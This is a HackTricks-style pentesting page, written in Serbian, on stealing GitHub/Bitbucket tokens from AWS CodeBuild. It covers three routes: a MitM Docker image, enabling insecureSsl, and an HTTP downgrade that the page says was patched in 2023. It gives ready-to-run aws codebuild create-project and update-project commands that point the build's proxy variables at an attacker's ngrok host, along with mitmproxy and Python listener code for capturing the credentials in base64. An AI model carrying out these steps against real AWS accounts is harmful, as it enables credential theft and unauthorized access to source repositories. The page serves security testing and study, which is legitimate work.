# AWS Codebuild - Token Leakage {{#include ../../../../banners/hacktricks-training.md}} ## Oporavak konfigurisanih tokena za Github/Bitbucket Prvo, proverite da li postoje bilo akreditivi izvora koji su konfigurirani koje biste mogli da iscurite: ```bash aws codebuild list-source-credentials ``` ### Putem Docker slike Ako otkrijete da je autentifikacija na primer za Github postavljena u nalogu, možete **izvršiti** tu **pristup** (**GH token ili OAuth token**) tako što ćete naterati Codebuild da **koristi specifičnu docker sliku** za pokretanje izgradnje projekta. U tu svrhu možete **napraviti novi Codebuild projekat** ili promeniti **okruženje** postojećeg da postavite **Docker sliku**. Docker slika koju možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je vrlo osnovna Docker slika koja će postaviti **env promenljive `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i verujete SSL CERT-u navedenom u **`SSL_CERT_FILE`**. 1. **Kreirajte i otpremite svoju Docker MitM sliku** - Pratite uputstva iz repozitorijuma da postavite svoju proxy IP adresu i postavite svoj SSL certifikat i **izgradite docker sliku**. - **NE POSTAVLJAJTE `http_proxy`** da ne biste presreli zahteve ka metadata endpoint-u. - Možete koristiti **`ngrok`** kao `ngrok tcp 4444` da postavite proxy na vaš host. - Kada izgradite Docker sliku, **otpremite je na javni repozitorijum** (Dockerhub, ECR...) 2. **Postavite okruženje** - Kreirajte **novi Codebuild projekat** ili **izmenite** okruženje postojećeg. - Postavite projekat da koristi **prethodno generisanu Docker sliku**.
3. **Postavite MitM proxy na vašem hostu** - Kao što je navedeno u **Github repozitorijumu**, možete koristiti nešto poput: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] > Verzija **mitmproxy koja je korišćena je 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi. 4. **Pokrenite gradnju i zabeležite akreditive** - Možete videti token u **Authorization** header-u:
Ovo se takođe može uraditi iz aws cli sa nečim poput ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json ## With /tmp/buildspec.json { "name": "my-demo-project", "source": { "type": "GITHUB", "location": "https://github.com/uname/repo", "buildspec": "buildspec.yml" }, "artifacts": { "type": "NO_ARTIFACTS" }, "environment": { "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM "image": "docker.io/carlospolop/docker-mitm:v12", "computeType": "BUILD_GENERAL1_SMALL", "imagePullCredentialsType": "CODEBUILD" } } ## Json # Start the build aws codebuild start-build --project-name my-project2 ``` ### Via insecureSSL **Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno na vebu i može se promeniti samo putem API-ja.\ Omogućavanje ovoga omogućava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji nudi platforma. - Prvo treba da enumerišete trenutnu konfiguraciju sa nečim poput: ```bash aws codebuild batch-get-projects --name ``` - Zatim, sa prikupljenim informacijama možete ažurirati postavku projekta **`insecureSsl`** na **`True`**. Sledeći je primer mog ažuriranja projekta, obratite pažnju na **`insecureSsl=True`** na kraju (ovo je jedina stvar koju treba da promenite iz prikupljene konfiguracije). - Pored toga, dodajte i env varijable **http_proxy** i **https_proxy** koje upućuju na vaš tcp ngrok kao: ```bash aws codebuild update-project --name \ --source '{ "type": "GITHUB", "location": "https://github.com/carlospolop/404checker", "gitCloneDepth": 1, "gitSubmodulesConfig": { "fetchSubmodules": false }, "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", "auth": { "type": "CODECONNECTIONS", "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" }, "reportBuildStatus": false, "insecureSsl": true }' \ --environment '{ "type": "LINUX_CONTAINER", "image": "aws/codebuild/standard:5.0", "computeType": "BUILD_GENERAL1_SMALL", "environmentVariables": [ { "name": "http_proxy", "value": "http://2.tcp.eu.ngrok.io:15027" }, { "name": "https_proxy", "value": "http://2.tcp.eu.ngrok.io:15027" } ] }' ``` - Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su označili proxy varijable (http_proxy i https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( host="127.0.0.1", port=4444, protocols=[protocol.HTTP], middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - Na kraju, kliknite na **Build the project**, **akreditivi** će biti **poslati u čistom tekstu** (base64) na mitm port:
### ~~Putem HTTP protokola~~ > [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a u nekom trenutku tokom nedelje 20. februara 2023. (mislim u petak). Tako da napadač više ne može da je zloupotrebi :)** Napadač sa **povišenim dozvolama u CodeBuild-u mogao bi da iscuri Github/Bitbucket token** koji je konfigurisan ili ako su dozvole konfigurirane putem OAuth, **privremeni OAuth token koji se koristi za pristup kodu**. - Napadač bi mogao da doda promenljive okruženja **http_proxy** i **https_proxy** u CodeBuild projekat koje upućuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`).
- Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions` - Zatim, pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su označile proxy promenljive (http_proxy i https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( host="0.0.0.0", port=4444, protocols=[protocol.HTTP], middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - Zatim kliknite na **Build the project** ili pokrenite build iz komandne linije: ```sh aws codebuild start-build --project-name ``` - Na kraju, **akreditivi** će biti **poslati u čistom tekstu** (base64) na mitm port:
> [!WARNING] > Sada će napadač moći da koristi token sa svoje mašine, da izlista sve privilegije koje ima i (zlo)upotrebi lakše nego korišćenjem CodeBuild servisa direktno. {{#include ../../../../banners/hacktricks-training.md}}